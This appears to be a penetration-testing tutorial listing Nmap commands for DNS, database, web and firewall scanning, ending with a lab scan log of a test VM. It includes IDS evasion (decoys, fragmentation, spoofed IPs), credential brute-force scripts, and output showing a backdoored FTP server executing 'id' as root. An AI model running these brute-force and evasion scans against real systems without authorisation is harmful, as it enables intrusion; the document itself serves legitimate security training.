Vulnerability Assessment & Penetration Testing

Nmap Basic to Advance Command

Introduction to Nmap

Network Mapper (Nmap) is an open-source network analysis and security

auditing tool written in C, C++, Python, and Lua. It is designed to scan
networks and identify which hosts are available on the network using raw
packets, and services and applications, including the name and version,
where possible. It can also identify the operating systems and versions of
these hosts. Besides other features, Nmap also offers scanning capabilities
that can determine if packet filters, firewalls, or intrusion detection systems
(IDS) are configured as needed.

Use Cases

The tool is one of the most used tools by network administrators and IT
security specialists. It is used to:

 Audit the security aspects of networks

 Simulate penetration tests

 Check firewall and IDS settings and configurations

 Types of possible connections

 Network mapping

 Response analysis

 Identify open ports

 Vulnerability assessment as well.

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Nmap Architecture

Nmap offers many different types of scans that can be used to obtain various
results about our targets. Basically, Nmap can be divided into the following
scanning techniques:

 Host discovery

 Port scanning

 Service enumeration and detection

 OS detection

 Scriptable interaction with the target service (Nmap Scripting Engine)

Syntax

The syntax for Nmap is fairly simple and looks like this:

Introduction to Nmap
$ nmap <scan types> <options> <target>

Scan Techniques

Nmap offers many different scanning techniques, making different types of

connections and using differently structured packets to send. Here we can see
all the scanning techniques Nmap offers:
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Here is a range of Nmap commands, starting from basic to more advanced techniques, to help you
with network scanning.

nmap --help

<SNIP>
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon
scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
<SNIP>

Basic Commands

Ping Scan: Quickly determine which hosts are up.

nmap -sn [Link]/24

Port Scan: Scan the most common 1000 ports on a single host.

nmap [Link]

Specific Ports Scan: Scan specific ports on a host

nmap -p 22,80,443 [Link]

Range of IPs: Scan a range of IP addresses.

nmap [Link]-254

Multiple Hosts: Scan multiple hosts.

nmap [Link] [Link] [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Intermediate Commands

Service Version Detection: Determine the version of services running on open ports.

nmap -sV [Link]

Operating System Detection: Detect the operating system of a host.

nmap -O [Link]

Aggressive Scan: Perform an aggressive scan including OS detection, version detection, script scanning,
and traceroute.

nmap -A [Link]

Scan with TCP SYN Scan (default): The most common scan that sends SYN packets.

nmap -sS [Link]

Scan with UDP Scan: Scan UDP ports.

nmap -sU [Link]

Advanced Commands Timing and Performance: Adjust the timing template (0 is slowest, 5 is fastest).

nmap -T4 [Link]

Save Output to File: Save the scan output to different formats.

nmap -oN [Link] [Link] # Normal output

nmap -oX [Link] [Link] # XML output

nmap -oG [Link] [Link] # Grepable output

Scan a Subnet for Open Ports: Scan a whole subnet to find open ports.
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
nmap -p 22,80,443 [Link]/24

cd /usr/share/nmap/scripts/

NSE (Nmap Scripting Engine): Use scripts for advanced service detection, vulnerability detection, etc.

nmap --script=vuln [Link]

nmap --script=http-enum [Link]

Scan Evading Techniques: Use decoys to hide the origin of the scan.

nmap -D RND:10 [Link]

Scan Firewall and IDS Evasion: Try to evade firewall and IDS.

nmap -f [Link] # Fragment packets

nmap -sA [Link] # ACK scan to check if a host is up

nmap -sW [Link] # Window scan

Scan with Spoofed IP: Spoof the source IP address.

nmap -S [Link] [Link]

Specialized Scans. Scan for Heartbleed Vulnerability:

nmap --script ssl-heartbleed [Link]

Detect HTTP Security Issues:

nmap --script=http-security-headers [Link]

Brute Force FTP Login:

nmap --script ftp-brute -p 21 [Link]

Combining Multiple Commands Intense Scan Plus UDP:

nmap -sS -sU -T4 -A -v [Link]

Comprehensive Scan:

nmap -p 1-65535 -sV -sS -T4 -A -O [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
These commands should give you a solid foundation for using Nmap effectively, from basic network
discovery to advanced and stealthy scanning techniques. Always ensure you have permission to scan the
networks and devices you target.

To scan for vulnerabilities and save the output to a file using Nmap, you can use the Nmap Scripting
Engine (NSE) along with the -oN, -oX, or -oG options to save the output in different formats. Here's how
you can perform a vulnerability scan and save the results:

Basic Vulnerability Scan and Save Output

Scan for Common Vulnerabilities:

nmap --script vuln [Link] -oN [Link]

This command runs the vuln script, which includes a collection of vulnerability detection scripts, and
saves the output in normal format to [Link].

Advanced Vulnerability Scan and Save Output

Specify Multiple Vulnerability Scripts:

nmap --script "vuln,ssl-heartbleed,http-enum" [Link] -oN [Link]

This runs multiple vulnerability detection scripts (in this case, vuln, ssl-heartbleed, and http-enum) and
saves the output to [Link].

Example of Comprehensive Vulnerability Scan

Comprehensive Scan with Output in Normal, XML, and Grepable Formats:

nmap -p 1-65535 -sV -sS -T4 -A -O --script vuln [Link] -oN [Link] -oX [Link] -oG
[Link]

This performs a comprehensive scan including:

Scanning all ports (-p 1-65535)

Service version detection (-sV)

TCP SYN scan (-sS)

Aggressive scan (-T4)

OS detection (-O)
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Running vulnerability scripts (--script vuln)

And saves the output in normal ([Link]), XML ([Link]), and grepable ([Link]) formats.

Combined Advanced and Vulnerability Scanning

Combining Multiple Techniques with Vulnerability Scan:

nmap -sS -sU -T4 -A -v --script vuln [Link] -oN [Link]

This command combines:

TCP SYN scan (-sS)

UDP scan (-sU)

Timing template for speed (-T4)

Aggressive options (-A)

Verbose mode (-v)

Vulnerability scripts (--script vuln)

And saves the output to [Link].

Using NSE Scripts for Specific Vulnerabilities

Using Specific NSE Scripts for Targeted Vulnerabilities:

nmap --script http-vuln-cve2017-5638 -p 80 [Link] -oN [Link]

This runs the http-vuln-cve2017-5638 script (which checks for a specific CVE) against port 80 and saves
the output to [Link].

By using the -oN, -oX, or -oG options, you can ensure that the results of your vulnerability scans are
saved for later analysis and reporting.

NMAP basic to advance commands for DNS server

Here are some Nmap commands tailored for scanning and probing DNS servers, from basic to advanced:

Basic DNS Scanning Commands

Basic DNS Service Discovery: Check if the DNS service (port 53) is open on a host.

nmap -p 53 [Link]
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Service Version Detection: Identify the version of the DNS service running.

nmap -sV -p 53 [Link]

Intermediate DNS Scanning Commands

DNS Brute Force: Attempt to discover subdomains by brute-forcing common names.

nmap --script dns-brute [Link]

Zone Transfer Check: Check if the DNS server allows zone transfers (a common misconfiguration).

nmap --script dns-zone-transfer -p 53 [Link]

DNS Cache Snooping: Determine if the DNS server is caching specific DNS queries.

nmap --script dns-cache-snoop --script-args '[Link]=timed' [Link]

Advanced DNS Scanning Commands

DNS Enumeration: Enumerate common DNS records (like MX, NS, A, etc.) for a given domain.

nmap --script dns-enum [Link]

Recursive DNS Server Detection: Check if the DNS server allows recursive queries.

nmap --script dns-recursion -p 53 [Link]

Comprehensive DNS Security Scan: Combine multiple DNS-related NSE scripts for a thorough analysis.

nmap --script "dns-brute,dns-zone-transfer,dns-cache-snoop,dns-recursion" -p 53 [Link]

Combining DNS Scans with Output to File

Save DNS Brute Force Output: Save the results of a DNS brute force scan to a file.

nmap --script dns-brute [Link] -oN [Link]

Save Comprehensive DNS Scan Output: Save the results of a comprehensive DNS scan to multiple
formats.

nmap --script "dns-brute,dns-zone-transfer,dns-cache-snoop,dns-recursion" -p 53 [Link] -oN dns-

[Link] -oX [Link] -oG [Link]

Specialized DNS Scans

Check for Specific DNS Vulnerability: Check for a specific DNS vulnerability (e.g., DNS Cache Poisoning).
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
nmap --script dns-poison -p 53 [Link]

DNS Service Enumeration with Specific Arguments: Run DNS enumeration with specific script arguments.

nmap --script dns-enum --script-args [Link]=[Link] -p 53 [Link]

Detect DNS Amplification DDoS Vulnerability: Check if the DNS server can be used for amplification
attacks.

nmap --script dns-recursion -p 53 [Link]

By using these commands, you can effectively scan and analyze DNS servers, from basic service checks
to advanced security assessments. Always ensure you have permission to scan the DNS servers you
target.

NMAP basic to advance command for the Database server

Here are Nmap commands specifically tailored for scanning and probing database servers, from basic to
advanced:

Basic Database Scanning Commands

Basic Service Discovery: Check if a specific database service port is open (e.g., MySQL on port 3306).

nmap -p 3306 [Link]

Multiple Database Ports: Scan for common database ports (e.g., MySQL, PostgreSQL, SQL Server,
Oracle).

nmap -p 3306,5432,1433,1521 [Link]

Service Version Detection: Identify the version of the database services running.

nmap -sV -p 3306,5432,1433,1521 [Link]

Intermediate Database Scanning Commands

Aggressive Scan: Perform an aggressive scan including OS detection, version detection, script scanning,
and traceroute

nmap -A -p 3306,5432,1433,1521 [Link]

Default Scripts Scan: Use default NSE scripts for more detailed information.

nmap -sC -p 3306,5432,1433,1521 [Link]

Advanced Database Scanning Commands

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Database Specific Scripts: Use Nmap scripts for specific database services to gather more detailed
information.

nmap --script mysql-info,mysql-databases,mysql-users -p 3306 [Link]

nmap --script pgsql-info,pgsql-databases -p 5432 [Link]

nmap --script ms-sql-info,ms-sql-databases -p 1433 [Link]

nmap --script oracle-sid-brute -p 1521 [Link]

Brute Force MySQL Login: Attempt to brute force MySQL login credentials.

nmap --script mysql-brute -p 3306 [Link]

Check for MySQL Weak Passwords: Check if MySQL service has weak passwords.

nmap --script mysql-empty-password,mysql-brute -p 3306 [Link]

Check for PostgreSQL Weak Passwords: Check if PostgreSQL service has weak passwords.

nmap --script pgsql-brute -p 5432 [Link]

MS SQL Server Brute Force: Attempt to brute force MS SQL Server login credentials.

nmap --script ms-sql-brute -p 1433 [Link]

Combining Scans and Saving Output

Save MySQL Scan Output: Save the results of a MySQL specific scan to a file.

nmap --script mysql-info,mysql-databases,mysql-users -p 3306 [Link] -oN [Link]

Save Comprehensive Database Scan Output: Save the results of a comprehensive database scan to
multiple formats.

nmap --script "mysql-info,mysql-databases,mysql-users,pgsql-info,pgsql-databases,ms-sql-info,oracle-

sid-brute" -p 3306,5432,1433,1521 [Link] -oN [Link] -oX [Link] -oG db-
[Link]

Specialized Database Scans

Check for Oracle TNS Listener Information:

nmap --script oracle-tns-version -p 1521 [Link]

Oracle SID Enumeration:

nmap --script oracle-sid-brute -p 1521 [Link]

Comprehensive MySQL Vulnerability Scan:

nmap --script mysql-vuln-cve2012-2122,mysql-empty-password,mysql-brute -p 3306 [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Example of Comprehensive Database Scan

Intense Scan Plus Database Specific Checks:

nmap -p 3306,5432,1433,1521 -sV -sC -T4 -A --script "mysql-info,mysql-users,pgsql-info,ms-sql-

info,oracle-sid-brute" [Link] -oN [Link]

These commands provide a robust set of tools to effectively scan and analyze database servers, from
basic service checks to advanced security assessments. Always ensure you have the necessary
permissions to scan the database servers you target.

NMAP basic to advance command for the webserver

Here are Nmap commands specifically tailored for scanning and probing web servers, from basic to
advanced:

Basic Web Server Scanning Commands

Basic Port Scan: Check if the HTTP (port 80) and HTTPS (port 443) services are open.

nmap -p 80,443 [Link]

Service Version Detection: Identify the version of the web server software running.

nmap -sV -p 80,443 [Link]

Scan All Ports: Scan for any open ports on the web server.

nmap -p- [Link]

Intermediate Web Server Scanning Commands

Aggressive Scan: Perform an aggressive scan including OS detection, version detection, script scanning,
and traceroute.

nmap -A -p 80,443 [Link]

Default Scripts Scan: Use default NSE scripts for more detailed information about the web server.

nmap -sC -p 80,443 [Link]

HTTP Enumeration: Gather detailed information about HTTP services.

nmap --script http-enum [Link] -p 80

Advanced Web Server Scanning Commands

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Web Application Firewall Detection: Detect if a web application firewall (WAF) is present.

nmap --script http-waf-detect [Link] -p 80,443

Directory Brute Force: Attempt to brute force directories and files on the web server.

nmap --script http-brute [Link] -p 80

SSL/TLS Information: Gather detailed SSL/TLS information.

nmap --script ssl-cert,ssl-enum-ciphers -p 443 [Link]

Vulnerability Scanning: Use NSE scripts to check for specific vulnerabilities.

nmap --script http-vuln* -p 80 [Link]

Specialized Web Server Scanning Commands

Check for Heartbleed Vulnerability: Specifically check for the Heartbleed vulnerability.

nmap --script ssl-heartbleed -p 443 [Link]

Check for Shellshock Vulnerability: Specifically check for the Shellshock vulnerability.

nmap --script http-shellshock -p 80,443 [Link]

HTTP Security Headers: Check for HTTP security headers.

nmap --script http-security-headers -p 80,443 [Link]

SQL Injection: Check for possible SQL injection vulnerabilities

nmap --script http-sql-injection -p 80 [Link]

Combining Scans and Saving Output

Save HTTP Enumeration Output: Save the results of an HTTP enumeration scan to a file.

nmap --script http-enum -p 80 [Link] -oN [Link]

Save Comprehensive Web Server Scan Output: Save the results of a comprehensive web server scan to
multiple formats.

nmap -p 80,443 -sV -sC -A --script "http-enum,http-vuln*,ssl-cert,ssl-enum-ciphers" [Link] -oN

[Link] -oX [Link] -oG [Link]

Example of Comprehensive Web Server Scan

Intense Scan Plus Web Specific Checks:

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
nmap -p 80,443 -sV -sC -T4 -A --script "http-enum,http-vuln*,ssl-cert,ssl-enum-ciphers" [Link] -oN
[Link]

Advanced Techniques

Evading IDS/IPS: Use fragment packets to bypass intrusion detection systems.

nmap -f -p 80,443 [Link]

Decoys: Use decoys to hide the origin of the scan.

nmap -D RND:10 -p 80,443 [Link]

These commands should provide a comprehensive toolkit for effectively scanning and analyzing web
servers, from basic service checks to advanced security assessments. Always ensure you have
permission to scan the web servers you target.

NMAP basic to advance command for Network Firewall Assessment

Here are some Nmap commands specifically tailored for scanning and probing network firewalls, from
basic to advanced:

Basic Firewall Scanning Commands

Ping Scan: Determine which hosts are up without scanning any ports.

nmap -sn [Link]/24

Simple Port Scan: Check if common ports are open on a firewall.

nmap -p 80,443,22 [Link]

Service Version Detection: Identify the services running behind the firewall.

nmap -sV [Link]

Intermediate Firewall Scanning Commands

Aggressive Scan: Perform an aggressive scan including OS detection, version detection, script scanning,
and traceroute.

nmap -A [Link]

Stealth Scan (SYN Scan): Perform a stealthy scan to detect open ports without completing the TCP
handshake.

nmap -sS [Link]

UDP Scan: Check for open UDP ports, which can be useful for firewall rule detection.
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
nmap -sU [Link]

Advanced Firewall Scanning Commands

Firewall Evasion Techniques: Fragment packets to evade firewalls and IDS/IPS systems.

nmap -f [Link]

Decoys: Use decoys to mask the origin of the scan.

nmap -D RND:10 [Link]

Idle Scan: Use a third-party host to send probes to the target, making it appear as if the third-party host
is the source of the scan.

nmap -sI zombie_host [Link]

Specialized Firewall Scanning Commands

Firewall Detection: Use Nmap scripts to detect firewall rules.

nmap --script firewall-bypass [Link]

Detecting Firewall Rules with ACK Scan: Send ACK packets to determine which ports are filtered.

nmap -sA [Link]

Window Scan: Analyze TCP window sizes to infer firewall rules.

nmap -sW [Link]

FIN Scan: Send FIN packets to detect open ports through firewalls.

nmap -sF [Link]

Xmas Scan: Send Xmas-tree packets to probe open ports through firewalls.

nmap -sX [Link]

Combining Scans and Saving Output

Save Stealth Scan Output: Save the results of a stealth scan to a file.

nmap -sS [Link] -oN [Link]

Save Comprehensive Firewall Scan Output: Save the results of a comprehensive firewall scan to multiple
formats.
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
nmap -p 1-65535 -sS -sU -T4 -A -O --script firewall-bypass [Link] -oN [Link] -oX
[Link] -oG [Link]

Example of Comprehensive Firewall Scan

Intense Scan Plus Firewall Specific Checks:

nmap -p 1-65535 -sS -T4 -A -O --script "firewall-bypass" [Link] -oN firewall-comprehensive-

[Link]

Advanced Techniques

Timing and Performance: Adjust the timing template (0 is slowest, 5 is fastest) for evasion and
performance tuning.

nmap -T4 [Link]

Scan with Spoofed IP Address: Spoof the source IP address to evade detection.

nmap -S [Link] [Link]

OS Fingerprinting: Identify the operating system behind the firewall.

nmap -O [Link]

These commands provide a comprehensive toolkit for effectively scanning and analyzing network
firewalls, from basic checks to advanced evasion techniques. Always ensure you have permission to scan
the network firewalls you target.
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Parrot to Box1 VM Penetration Testing Technique:

Parrot VM IP: [Link]

Box1- VM IP: [Link]

─[✗]─[root@parrot]─[/home/user]

└──╼ #nmap -sV [Link]

Starting Nmap 7.94SVN ( [Link] ) at 2024-09-08 16:41 UTC

Nmap scan report for [Link]

Host is up (0.00052s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3c

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 00:0C:29:0D:74:93 (VMware)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at [Link] .

Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds

─[✗]─[root@parrot]─[/home/user]

└──╼ #nmap -sV --script=vuln [Link]

Starting Nmap 7.94SVN ( [Link] ) at 2024-09-08 16:42 UTC

Nmap scan report for [Link]

Host is up (0.00027s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
21/tcp open ftp ProFTPD 1.3.3c
| vulners:

| cpe:/a:proftpd:proftpd:1.3.3c:

| SAINT:FD1752E124A72FD3A26EEB9B315E8382 10.0
[Link] *EXPLOIT*

| SAINT:ECC52DD75C7865AF72D358DC03E39270 10.0
[Link] *EXPLOIT*

| SAINT:C38482A29286C4F6E5C4BD19DFFEC245 10.0
[Link] *EXPLOIT*

| SAINT:950EB68D408A40399926A4CCAD3CC62E 10.0
[Link] *EXPLOIT*

| SAINT:63FB77B9136D48259E4F0D4CDA35E957 10.0
[Link] *EXPLOIT*

| SAINT:54FCA613A72A46139DD6F86DF77D354A 10.0
[Link] *EXPLOIT*

| SAINT:1B08F4664C428B180EEC9617B41D9A2C 10.0
[Link] *EXPLOIT*

| SAINT:0D292D8F05ADFBE8F747F01E40BAF2AF 10.0
[Link] *EXPLOIT*

| PROFTPD_MOD_COPY 10.0 [Link]

*EXPLOIT*

| PACKETSTORM:162777 10.0 [Link]

*EXPLOIT*

| PACKETSTORM:132218 10.0 [Link]

*EXPLOIT*

| PACKETSTORM:131567 10.0 [Link]

*EXPLOIT*

| PACKETSTORM:131555 10.0 [Link]

*EXPLOIT*

| PACKETSTORM:131505 10.0 [Link]

*EXPLOIT*

| MSF:EXPLOIT-UNIX-FTP-PROFTPD_MODCOPY_EXEC- 10.0
[Link]
*EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| MSF:EXPLOIT-LINUX-FTP-PROFTP_TELNET_IAC- 10.0
[Link]
*EXPLOIT*

| MSF:EXPLOIT-FREEBSD-FTP-PROFTP_TELNET_IAC- 10.0
[Link]
*EXPLOIT*

| EDB-ID:49908 10.0 [Link] *EXPLOIT*

| EDB-ID:37262 10.0 [Link] *EXPLOIT*

| EDB-ID:16878 10.0 [Link] *EXPLOIT*

| EDB-ID:16851 10.0 [Link] *EXPLOIT*

| CVE-2010-4221 10.0 [Link]

| 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0
[Link]
*EXPLOIT*

| 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0
[Link] *EXPLOIT*

| 1337DAY-ID-36298 10.0 [Link] *EXPLOIT*

| 1337DAY-ID-23720 10.0 [Link] *EXPLOIT*

| 1337DAY-ID-23544 10.0 [Link] *EXPLOIT*

| CVE-2019-12815 9.8 [Link]

| SSV:26016 9.0 [Link] *EXPLOIT*

| SSV:24282 9.0 [Link] *EXPLOIT*

| CVE-2011-4130 9.0 [Link]

| SSV:96525 7.5 [Link] *EXPLOIT*

| CVE-2023-51713 7.5 [Link]

| CVE-2021-46854 7.5 [Link]

| CVE-2020-9272 7.5 [Link]

| CVE-2019-19272 7.5 [Link]

| CVE-2019-19271 7.5 [Link]

| CVE-2019-19270 7.5 [Link]

| CVE-2019-18217 7.5 [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| CVE-2016-3125 7.5 [Link]

| 739FE495-4675-5A2A-BB93-EEF94AC07632 7.5
[Link] *EXPLOIT*

| SSV:20226 7.1 [Link] *EXPLOIT*

| PACKETSTORM:95517 7.1 [Link]

*EXPLOIT*

| CVE-2010-3867 7.1 [Link]

| SSV:12447 6.8 [Link] *EXPLOIT*

| SSV:11950 6.8 [Link] *EXPLOIT*

| EDB-ID:33128 6.8 [Link] *EXPLOIT*

| CVE-2010-4652 6.8 [Link]

| CVE-2023-48795 5.9 [Link]

| SSV:12523 5.8 [Link] *EXPLOIT*

| CVE-2009-3639 5.8 [Link]

| CVE-2017-7418 5.5 [Link]

| CVE-2011-1137 5.0 [Link]

| CVE-2019-19269 4.9 [Link]

|_ CVE-2012-6095 1.2 [Link]

| ftp-proftpd-backdoor:

| This installation has been backdoored.

| Command: id

|_ Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| vulners:

| cpe:/a:openbsd:openssh:7.2p2:

| 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0
[Link]
*EXPLOIT*

| 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0
[Link] *EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| CVE-2023-38408 9.8 [Link]

| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8
[Link] *EXPLOIT*

| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8
[Link] *EXPLOIT*

| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8
[Link] *EXPLOIT*

| 5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A 9.8
[Link]
*EXPLOIT*

| PACKETSTORM:140070 7.8 [Link]

*EXPLOIT*

| EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09 7.8
[Link]
*EXPLOIT*

| CVE-2020-15778 7.8 [Link]

| CVE-2016-10012 7.8 [Link]

| CVE-2015-8325 7.8 [Link]

| 1337DAY-ID-26494 7.8 [Link] *EXPLOIT*

| SSV:92579 7.5 [Link] *EXPLOIT*

| PACKETSTORM:173661 7.5 [Link]

*EXPLOIT*

| F0979183-AE88-53B4-86CF-3AF0523F3807 7.5
[Link] *EXPLOIT*

| EDB-ID:40888 7.5 [Link] *EXPLOIT*

| CVE-2016-8858 7.5 [Link]

| CVE-2016-6515 7.5 [Link]

| CVE-2016-10708 7.5 [Link]

| 1337DAY-ID-26576 7.5 [Link] *EXPLOIT*

| CVE-2016-10009 7.3 [Link]

| SSV:92582 7.2 [Link] *EXPLOIT*

| CVE-2021-41617 7.0 [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| CVE-2016-10010 7.0 [Link]

| SSV:92580 6.9 [Link] *EXPLOIT*

| 1337DAY-ID-26577 6.9 [Link] *EXPLOIT*

| EDB-ID:46516 6.8 [Link] *EXPLOIT*

| EDB-ID:46193 6.8 [Link] *EXPLOIT*

| CVE-2019-6110 6.8 [Link]

| CVE-2019-6109 6.8 [Link]

| C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8
[Link] *EXPLOIT*

| 10213DBE-F683-58BB-B6D3-353173626207 6.8
[Link] *EXPLOIT*

| CVE-2023-51385 6.5 [Link]

| EDB-ID:40858 6.4 [Link] *EXPLOIT*

| EDB-ID:40119 6.4 [Link] *EXPLOIT*

| EDB-ID:39569 6.4 [Link] *EXPLOIT*

| CVE-2016-3115 6.4 [Link]

| EDB-ID:40136 5.9 [Link] *EXPLOIT*

| EDB-ID:40113 5.9 [Link] *EXPLOIT*

| CVE-2023-48795 5.9 [Link]

| CVE-2020-14145 5.9 [Link]

| CVE-2019-6111 5.9 [Link]

| CVE-2016-6210 5.9 [Link]

| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8
[Link]
*EXPLOIT*

| EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8
[Link]
*EXPLOIT*

| 1337DAY-ID-32328 5.8 [Link] *EXPLOIT*

| 1337DAY-ID-32009 5.8 [Link] *EXPLOIT*

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| SSV:91041 5.5 [Link] *EXPLOIT*

| PACKETSTORM:140019 5.5 [Link]

*EXPLOIT*

| PACKETSTORM:136234 5.5 [Link]

*EXPLOIT*

| EXPLOITPACK:F92411A645D85F05BDBD274FD222226F 5.5
[Link]
*EXPLOIT*

| EXPLOITPACK:9F2E746846C3C623A27A441281EAD138 5.5
[Link]
*EXPLOIT*

| EXPLOITPACK:1902C998CBF9154396911926B4C3B330 5.5
[Link]
*EXPLOIT*

| CVE-2016-10011 5.5 [Link]

| PACKETSTORM:181223 5.3 [Link]

*EXPLOIT*

| MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- 5.3
[Link]
*EXPLOIT*

| EDB-ID:45939 5.3 [Link] *EXPLOIT*

| EDB-ID:45233 5.3 [Link] *EXPLOIT*

| CVE-2018-20685 5.3 [Link]

| CVE-2018-15919 5.3 [Link]

| CVE-2018-15473 5.3 [Link]

| CVE-2017-15906 5.3 [Link]

| CVE-2016-20012 5.3 [Link]

| SSH_ENUM 5.0 [Link] *EXPLOIT*

| PACKETSTORM:150621 5.0 [Link]

*EXPLOIT*

| EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0 5.0
[Link]
*EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 5.0
[Link]
*EXPLOIT*

| 1337DAY-ID-31730 5.0 [Link] *EXPLOIT*

| EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF 4.3
[Link]
*EXPLOIT*

| EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF 4.3
[Link]
*EXPLOIT*

| 1337DAY-ID-25440 4.3 [Link] *EXPLOIT*

| 1337DAY-ID-25438 4.3 [Link] *EXPLOIT*

| CVE-2021-36368 3.7 [Link]

| SSV:92581 2.1 [Link] *EXPLOIT*

| PACKETSTORM:151227 0.0 [Link]

*EXPLOIT*

| PACKETSTORM:140261 0.0 [Link]

*EXPLOIT*

| PACKETSTORM:138006 0.0 [Link]

*EXPLOIT*

| PACKETSTORM:137942 0.0 [Link]

*EXPLOIT*

|_ 1337DAY-ID-30937 0.0 [Link] *EXPLOIT*

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| vulners:

| cpe:/a:apache:http_server:2.4.18:

| 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0
[Link]
*EXPLOIT*

| 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0
[Link] *EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| F607361B-6369-5DF5-9B29-E90FA29DC565 9.8
[Link] *EXPLOIT*

| EDB-ID:51193 9.8 [Link] *EXPLOIT*

| CVE-2024-38476 9.8 [Link]

| CVE-2024-38474 9.8 [Link]

| CVE-2023-25690 9.8 [Link]

| CVE-2022-31813 9.8 [Link]

| CVE-2022-23943 9.8 [Link]

| CVE-2022-22720 9.8 [Link]

| CVE-2021-44790 9.8 [Link]

| CVE-2021-39275 9.8 [Link]

| CVE-2021-26691 9.8 [Link]

| CVE-2018-1312 9.8 [Link]

| CVE-2017-7679 9.8 [Link]

| CVE-2017-3169 9.8 [Link]

| CVE-2017-3167 9.8 [Link]

| B02819DB-1481-56C4-BD09-6B4574297109 9.8
[Link] *EXPLOIT*

| 5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 9.8
[Link] *EXPLOIT*

| 3F17CA20-788F-5C45-88B3-E12DB2979B7B 9.8
[Link] *EXPLOIT*

| 1337DAY-ID-39214 9.8 [Link] *EXPLOIT*

| CVE-2024-38475 9.1 [Link]

| CVE-2022-28615 9.1 [Link]

| CVE-2022-22721 9.1 [Link]

| CVE-2019-10082 9.1 [Link]

| CVE-2017-9788 9.1 [Link]

| 0486EBEE-F207-570A-9AD8-33269E72220A 9.1
[Link] *EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| CVE-2022-36760 9.0 [Link]

| CVE-2021-40438 9.0 [Link]

| AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C 9.0
[Link]
*EXPLOIT*

| 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 9.0
[Link]
*EXPLOIT*

| 7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 9.0
[Link] *EXPLOIT*

| 4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 9.0
[Link]
*EXPLOIT*

| 4373C92A-2755-5538-9C91-0469C995AA9B 9.0
[Link] *EXPLOIT*

| 36618CA8-9316-59CA-B748-82F15F407C4F 9.0
[Link] *EXPLOIT*

| CVE-2021-44224 8.2 [Link]

| B0A9E5E8-7CCC-5984-9922-A89F11D6BF38 8.2
[Link] *EXPLOIT*

| CVE-2017-15715 8.1 [Link]

| CVE-2016-5387 8.1 [Link]

| EDB-ID:46676 7.8 [Link] *EXPLOIT*

| CVE-2019-0211 7.8 [Link]

| PACKETSTORM:181038 7.5 [Link]

*EXPLOIT*

| PACKETSTORM:176334 7.5 [Link]

*EXPLOIT*

